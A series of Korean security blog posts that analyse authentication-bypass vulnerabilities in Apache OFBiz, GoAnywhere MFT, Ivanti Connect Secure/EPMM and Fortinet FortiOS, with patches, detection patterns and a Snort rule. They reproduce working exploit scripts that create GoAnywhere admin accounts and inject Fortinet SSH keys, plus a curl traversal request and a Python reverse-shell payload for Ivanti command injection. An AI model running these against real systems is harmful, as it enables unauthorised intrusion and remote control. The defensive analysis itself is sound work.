1. CVE-2024-38856 [1]

[사진 1] CVE-2024-38856

- Apache OFBiz잘못된 인증으로 인해 인증을 거치지 않고 원격 코드 실행이 가능한 취약점

> 공격자들의 익스플로잇을 위한 스캔이 활발히 이루어지는 중

영향받는 버전: Apache OFBiz 18.12.14 이하 버전

 

2. 주요내용 [2]

- 취약점 악용에 사용되는 URL은 다음과 같음

> POST /webtools/control/forgotPassword/ProgramExport

> POST /webtools/control/main/ProgramExport

> POST /webtools/control/showDateTime/ProgramExport

> POST /webtools/control/view/ProgramExport

> POST /webtools/control/TestService/ProgramExport

 

- 사용자 요청 수신시 서버는 path , requestUri overrideViewURI 변수의 값을 초기화 진행

> getRequestUri()를 호출하여 requestUri 초기화

> getOverrideViewUri()를 호출하여 overrideViewUri 초기화

* /forgotPassword/ProgramExport URL을 대상으로 분석

[사진 2] requestUri 및 overrideViewURI 변수 초기화

- getRequestUri()경로를 “/”로 분할한 후 0번째 요소의 값 반환

> URL /forgotPassword/ProgramExport에서 0번째 요소 값은 forgotPassword(반환 값)

[사진 3] getRequestUri()

- getOverrideViewUri() 또한 경로를 “/”로 분할한 후 1번째 요소 값 반환

> URL /forgotPassword/ProgramExport에서 1번째 요소 값은 ProgramExport(반환 값)

[사진 4] getOverrideViewUri()

- requestUri overrideViewURI 변수는 다음과 같이 초기화됨

> requestUri 변수 = forgotPassword

> overrideViewUri 변수 = ProgramExport

[사진 5] 초기화 결과

- 인증 검사requestUri 값에 대해 수행

> 앞선 초기화 결과 값의 차이로 인해 버그가 발생하여 잘못된 요청이 허용될 수 있는 것으로 판단됨

> 잘못된 요청의 경우 securityAuth 값이 false가 되어 인증을 필요로 하지 않음

[사진 6] 잘못된 요청(위) 및 정상 요청(아래)의 securityAuth 차이

- 마지막으로, ProgramExport 뷰를 렌더링하여 인증 없이 제공된 코드를 실행할 수 있음

[사진 7] ProgramExport

- 익스플로잇 예시 및 시연 영상 [3]

[사진 8] 익스플로잇 예시

3. 대응방안

- 벤더사 제공 업데이트 적용 [4]

> 권한 검사 기능을 도입: security.hasPermission() 추가 [5]

제품명 영향받는 버전 해결 버전
Apache OFBiz ~ 18.12.14 18.12.15

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-38856
[2] https://blog.sonicwall.com/en-us/2024/08/sonicwall-discovers-second-critical-apache-ofbiz-zero-day-vulnerability/#top
[3] https://d3ik27cqx8s5ub.cloudfront.net/blog/media/uploads/poc.mp4?_=1
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71517&menuNo=205020
[5] https://github.com/apache/ofbiz-framework/commit/9b20a93c2487cca47392e6489472495ab4719447
[6] https://securityaffairs.com/166612/hacking/critical-apache-ofbiz-flaw.html
[7] https://www.boannews.com/media/view.asp?idx=131858&page=1&kind=1

1. GoAnywhere MFT [1]

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-0204 [1]

 

- 취약한 버전의 GoAnywhere MFT에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> 인증을 우회한 공격자는 새로운 관리자 계정을 생성해 추가 익스플로잇이 가능함

영향받는 버전 [3]
① Fortra GoAnywhere MFT 6.x (6.0.1 이상)
② Fortra GoAnywhere MFT 7.x (7.4.1 이전)

 

2.1 취약점 상세 [4]

- 최초 설치시 GoAnywhere MFT는 InitialAccountSetup.xhtml를 호출해 관리자 계정을 생성

 

[사진 2] 설치 중 관리자 계정 추가

 

- 설치 후 InitialAccountSetup.xhtml를 직접 요청하면 액세스할 수 없으며 리다이렉션이 발생

> 관리자 계정이 생성되었기 때문

> /Dashboard.xhtml 엔드포인트로 리디렉션

> 사용자가 인증되지 않았으므로 최종적으로 /auth/Login.xhtml로 리디렉션

 

- 모든 요청에 대해 com.linoma.dpa.security.SecurityFilter 클래스 호출

> 어떤 엔드포인트가 요청되는지 확인하고 엔드포인트, 사용자 컨텍스트 및 응용 프로그램 설정을 기반으로 요청이 올바른 엔드포인트로 라우팅 되도록 허용하는 doFilter() 기능을 수행

> 해당 클래스에서 취약점과 관련된 /InitialAccountSetup.xhtml 요청을 처리하는 명시적인 코드가 확인

① 91번 라인: 이미 생성된 관리자 사용자가 없고 경로가 /wizard/InitialAccountSetup.xhtml이 아닌 경우 설정 페이지로 리다이렉션
② 102번 라인: 이미 생성된 admin 사용자가 있고 경로가 /wizard/InitialAccountSetup.xhtml이면 /Dashboard.xhtml로 리디렉션

 

[사진 3]  /wizard/InitialAccountSetup.xhtml 관련 명시적 코드

 

- 공격자는 이를 악용하기 위해 페이로드에 "/..;/"를 추가해 경로 순회 취약점을 이용

> Tomcat의 일부 취약한 구성은 /..;/를 /../로 정규화 [5][6]

> /..;/를 이용해 doFilter()를 우회하여 새로운 관리자 계정 생성 및 추가 익스플로잇 수행

hxxps://[Target IP]/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml

 

[사진 4] 관리자 계정 생성 페이지 (좌) 및 관리자 계정 생성 (우)

 

2.2 PoC [7]

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml URL로 GET 요청 전송

import requests
from bs4 import BeautifulSoup
import argparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def validate_password(password):
    if len(password) < 8:
        raise argparse.ArgumentTypeError("Password must be at least 8 characters long.")
    return password

def main():
    parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass")
    parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("username", help="New admin username")
    parser.add_argument("password", help="New admin password", type=validate_password)
    args = parser.parse_args()
    url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"

    data = {
        "j_id_u:creteAdminGrid:username": args.username,
        "j_id_u:creteAdminGrid:password_hinput": args.password,
        "j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:confirmPassword_hinput": args.password,
        "j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:submitButton": "",
        "createAdminForm_SUBMIT": 1,
    }

    s = requests.session()
    r = s.get(url, verify=False)
    if r.status_code == 401:
        raise Exception("Endpoint does not appear to be vulnerable.")

    soup = BeautifulSoup(r.text, "html.parser")
    input_field = soup.find('input', {'name': 'javax.faces.ViewState'})
    data['javax.faces.ViewState'] = input_field['value']
    r = s.post(url, verify=False, data=data)

    if r.status_code != 200:
        raise Exception("Failed to create new admin user")

    soup = BeautifulSoup(r.text, "html.parser")
    error_message = soup.find("span", {"class": "ui-messages-error-summary"})
    if error_message is not None:
        raise Exception(error_message.text)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 : Fortra GoAnywhere MFT 7.4.1 이상 [8]

> 벤더사 권고 추가 해결 방안

① 비컨테이너 배포 인스턴스의 경우 설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 삭제하고 서비스 다시 시작

② 컨테이너 배포 인스턴스의 경우설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 빈 파일로 바꾸고 서비스 다시 시작

 

- 관리자 계정 목록 검토

> GoAnywhere administrator portal Users -> Admin Users 검토

> 또는, \GoAnywhere\userdata\database\goAnywhere\log\*.log 로그 검토

※ 해당 로그는 DB의 트랜잭션 기록이 포함되어 있으며, 사용자 추가시 관련 로그가 기록됨

 

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml 탐지 패턴 적용

 

4. 참고

[1] https://www.goanywhere.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0204
[3] https://www.fortra.com/security/advisory/fi-2024-001
[4] https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/
[5] https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#path-traversal
[6] https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
[7] https://github.com/horizon3ai/CVE-2024-0204
[8] https://www.kroll.com/en/insights/publications/cyber/authentication-bypass-in-fortra-goanywhere-mft
[9] https://cybersecuritynews.com/goanywhere-mft-bypass/amp/
[10] https://www.upguard.com/blog/goanywhere-cve-2024
[11] https://www.helpnetsecurity.com/2024/01/24/poc-cve-2024-0204/
[12] https://socprime.com/blog/cve-2024-0204-detection-critical-vulnerability-in-fortra-goanywhere-mft-resulting-in-authentication-bypass/
[13] https://www.boannews.com/media/view.asp?idx=126043&page=1&kind=1

1. Ivanti [1]

- 미국 유타주 사우스 조단에 본사를 둔 IT 소프트웨어 회사
- IT 보안, IT 서비스 관리, IT 자산 관리, 통합 엔드포인트 관리, ID 관리 및 공급망 관리용 소프트웨어를 생산

 

2. 취약점

- CISA에서 해당 취약점과 관련된 광범위한 악용에 따른 지침 발표 [2][3]

 

2.1 CVE-2023-46805

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46805 [4]

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 인증 우회 취약점

> 원격의 공격자가 인증을 우회하여 제한된 리소스에 액세스할 수 있음

> 악용에 성공한 공격자는 이후 CVE-2024-21887 (명령 주입 취약점, CVSS:9.1)로 추가 익스플로잇 가능

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

 

- 해당 취약점은 /api/v1/totp/user-backup-code 엔드포인트에서 발생 [5]

> 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /api/v1/totp/user-backup-code 등 특정 경로의 경우 인증이 강제되지 않음

> 이후 해당 요청은 Python 백엔드 REST 서버로 전달

// web!doAuthCheck
bool __cdecl doAuthCheck(DSLog::Debug *a1, unsigned int *a2)
{
  // ...snip...
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <---
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1; // <---
  }
  // ...go on and enforce authentication...

 

- /api/v1/totp/user-backup-code 및 추가 문자를 입력해 요청을 전송할 경우 인증을 우회해 제한된 리소스에 액세스 가능

> /api/v1/system/system-information에 접근해 시스템 정보를 반환

> Python REST 백엔드의 모든 엔드포인트에 액세스할 수 있으며 RCE 등 추가 익스플로잇이 가능

$ curl -ik --path-as-is https://[Target IP]/api/v1/totp/user-backup-code/../../system/system-information
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 297

{"software-inventory":{"software":{"build":"1647","name":"IVE-OS","type":"operating-system","version":"22.3R1"}},"system-information":{"hardware-model":"ISA-V","host-name":"localhost2","machine-id":"*****************","os-name":"ive-sa","os-version":"22.3R1","serial-number":"*****************"}}

 

2.1.1 CVE-2024-21887

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21887 [6]

 

- CVE-2023-46805 익스플로잇에 성공한 공격자가 원격 명령을 실행할 수 있게 되는 취약점 (CVSS: 9.1)

> 영향받는 버전은 CVE-2023-46805과 동일

 

- 해당 취약점은 /api/v1/license/keys-status 엔드포인트를 이용

> restservice/api/resources/license.py: 요청이 /api/v1/license/keys-status로 시작할 경우 명령을 처리

> 두 취약점 악용을 위한 PoC 존재 [7]

class License(Resource):
    """
    Handles requests that are coming for licensing APIs
    For now the only API is license/auth-code
    """

    # ...snip...

    def get(self, url_suffix=None, node_name=None):
        if request.path.startswith("/api/v1/license/keys-status"):
            try:
                dsinstall = os.environ.get("DSINSTALL")
                if node_name == None:
                    node_name = ""
                proc = subprocess.Popen(
                    dsinstall
                    + "/perl5/bin/perl"
                    + " "
                    + dsinstall
                    + "/perl/getLicenseCapacity.pl"
                    + " getLicenseKeys "
                    + node_name, # <---
                    shell=True,
                    stdout=subprocess.PIPE,
                )

 

- 아래 명령을 인코딩하여 페이로드 전송

Payload: ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.43",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
URL: [Target IP]/api/v1/totp/user-backup-code/../../license/keys-status/[Encoded Payload]

 

[사진 3] 익스플로잇 결과

 

2.2 CVE-2023-35082

[사진 4] https://nvd.nist.gov/vuln/detail/CVE-2023-35082 [8]

 

- 취약한 버전의 Ivanti EPMM/MobileIron Core에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 관리 서버의 API 엔드포인트에 엑세스할 수 있으며, 개인 식별 정보 접근 및 플랫폼 변경 등 여러 작업 수행 가능

> CVE-2023-35078

영향받는 버전
① EPMM 11.8 ~ 11.10
② MobileIron Core 11.7 이하

 

- 구체적인 내용은 확인되지 않으나 구글링 및 PoC 결과 2가지 API를 사용하는 것으로 판단됨 [9][10]

API 설명
/mifs/asfV3/api/v2/ping API 버전
/mifs/asfV3/api/v2/admins/users 사용자 정보

 

[사진 5] 익스플로잇 결과

3. 대응방안

- 벤더사 제공 업데이트 제공 [11][12]

> CVE-2023-46805, CVE-2024-21887의 경우 아직 패치 개발중으로 01/22~02/19까지 버전 간 시차를 두고 출시 예정 [13]

※ 두 취약점의 경우 벤더사 홈페이지를 통해 임시 완화 조치 적용 [14]

> CVE-2023-35082의 경우 11.2 이하 버전은 지원 중단되었으며, 11.3 ~ 11.10 버전 RPM 스크립트 적용 참고 [15]

취약점 제품명 영향받는 버전 해결 버전
CVE-2023-46805 Ivanti Connect Secure
Ivanti Policy Secure
9.x
22.x
-
CVE-2024-21887
CVE-2023-35082 EPMM (Ivanti Endpoint Manager Mobile) 11.8 ~ 11.10 11.11.0.0
MobileIron Core 11.7 이하

 

- Mandiant에서 취약점을 악용한 공격에 대한 침해지표를 제공 [16]

 

- 탐지 패턴 적용

취약점 패턴
CVE-2023-46805 api/v1/totp/user-backup-code
CVE-2024-21887
CVE-2023-35082 mifs/asfV3/api/v2

 

4. 참고

[1] https://www.ivanti.com/
[2] https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities
[3] https://www.cisa.gov/news-events/news/cisa-issues-emergency-directive-requiring-federal-agencies-mitigate-ivanti-connect-secure-and-policy
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-46805
[5] https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis?referrer=etrblog
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-21887
[7] https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-35082
[9] https://threatprotect.qualys.com/2023/08/03/ivanti-endpoint-manager-mobile-epmm-remote-unauthenticated-api-access-vulnerability-cve-2023-35082/
[10] https://github.com/Chocapikk/CVE-2023-35082
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71292
[12] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71301
[13] https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
[14] https://success.ivanti.com/customers/Community_RegStep1_Page?inst=UL&startURL=%2Fservlet%2Fnetworks%2Fswitch%3FnetworkId%3D0DB1B000000PBGy%26startURL%3D%2Fs%2Farticle%2FDownload-Links-Related-to-CVE-2023-46805-and-CVE-2024-21887
[15] https://forums.ivanti.com/s/article/KB-Remote-Unauthenticated-API-Access-Vulnerability-CVE-2023-35082?language=en_US
[16] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
[17] https://www.boannews.com/media/view.asp?idx=125833&page=19&kind=1
[18] https://www.boannews.com/media/view.asp?idx=126053&page=9&kind=1

[19] https://www.boannews.com/media/view.asp?idx=126245&page=1&kind=1

1. Fortinet

- 보안 솔루션을 개발 및 판매하는 다국적 기업

 

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

www.fortinet.com

 

2. CVE-2022-40684

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-40684

- 취햑한 버전의 Fortinet 제품 Fortinet FortiOS, FortiProxy, FortiSwitchManager에서 조작된 HTTP/HTTPS 요청을 통해 발생하는 인증 우회 취약점 (CVSS 9.8점)

- FortiOS : Fortigate 방화벽 및 스위치와 같은 하드웨어에서 사용되는 Fortinet의 리눅스 기반 운영 체제
- FortiProxy : 여러 가지 탐지 기술(웹 필터링, DNS 필터링, 데이터 손실 방지, 안티바이러스, 침입 방지 및 지능형 위협 보호)을 통합하여 인터넷에서 발생하는 공격으로부터 보호하는 웹 프록시
- FortiSwitchManager : FortiSwitch 템플릿과 VLAN을 중앙에서 관리하고 FortiGate 장치에 연결된 FortiSwitch 장치를 모니터링
취약 버전
① FortiOS : 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6
② FortiProxy : 7.2.0 및 버전 7.0.0 ~ 7.0.6
③ FortiSwitchManager : 7.0.0 및 7.2.0
* FortiOS version 5.x, 6.x는 영향받지 않음

 

2.1 공격 원리

- 먼저 GET 요청을 통해 Fortinet 어플라이언스가 있는지 확인

[사진 2] GET 요청 예시

 

- Fortinet 어플라이언스 존재 시(취약한 서버 확인 시) PUT 요청을 통해 admin의 SSH 키를 자신의 키로 수정

- 이때, User-Agent 헤더와 Forwarded헤더를 조작

[사진 3] PUT 요청 예시

 

- 공격자의 접근을 위한 로컬 사용자 추가

 

2.2 취약점 분석

- 전달된 헤더를 구문 분석하고 for 및 by 필드를 추출하여 Apache request_rec 구조에 연결

[사진 4] 헤더 구문 분석

- vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.

[사진 5] api_check_access

 

- client_ip가 "127.0.01"이고 User-Agent 헤더가 두 번째 매개변수와 일치하는지 확인하는 함수

- 이 함수는 "Node.js"와 "Report Runner"의 두 가지 가능한 매개변수로 호출

- "Node.js" 경로는 추가 유효성 검사를 수행하는 것처럼 보이지만 "Report Runner"를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음

[사진 6] is_trusted_ip_and_user_agent

 

2.3 PoC 분석

#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


HEADERS = {
    'User-Agent': 'Report Runner',
    'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}

def format_key(key_file):
    with open(key_file) as f:
        k = f.read().strip()

    return(k)


def add_key(target, username, key_file):
    key = format_key(key_file)
    j = {
        "ssh-public-key1": '\"' + key + '\"'
    }
    url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
    r = requests.put(url, headers=HEADERS, json=j, verify=False)
    if 'SSH key is good' not in r.text:
        print(f'[-] {target} is not vulnerable!')
    else:
        print(f'[+] SSH key for {username} added successfully!')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
    parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
    args = parser.parse_args()

    add_key(args.target, args.username, args.key_file)

- PoC를 확인해보면 다음을 확인해 볼 수 있음

① /api/v2/cmdb/system/admin URL로 요청이 이루어짐 : Fortinet 어플라이언스 여부 확인

② is_trusted_ip_and_user_agent 함수를 우회하기 위해 헤더값 조작 : Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 및 User-Agent 가 "Report Runner" 설정

 

3. 대응방안

3.1 서버측면

① 최신 업데이트 적용

- FortiOS : 7.2.2 또는 7.0.7
- FortiProxy : 7.2.1 또는 7.0.7
- FortiSwitchManager : 7.2.1

- FG6000F, 7000E/F 시리즈 플랫폼의 경우 FortiOS 버전 7.0.5 B8001로 업데이트

 

② 즉시 보안 업데이트가 어려운 제품 사용자

- HTTP/HTTPS 관리 인터페이스 비활성화

- 관리 인터페이스에 도달할 수 있는 IP 제한 등 임시 조치를 권고

- 이 후 최신 버전으로 업데이트 필요

 

3.2 네트워크 측면

① PoC를 토대로 "/api/v2/cmdb/system/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함

alert tcp any any -> any any (msg:"Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)

 

3.3 공통

① 로그 모니터링

- 해당 취약점에 노출되었는지 확인

- 장치 로그에서 user=" Local_Process_Access", user_interface=" Node.js" 또는 user_interface=" Report Runner" 확인 

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2022-40684

https://www.fortiguard.com/psirt/FG-IR-22-377

https://github.com/horizon3ai/CVE-2022-40684

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66965&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMjItNDA2ODQ= 

+ Recent posts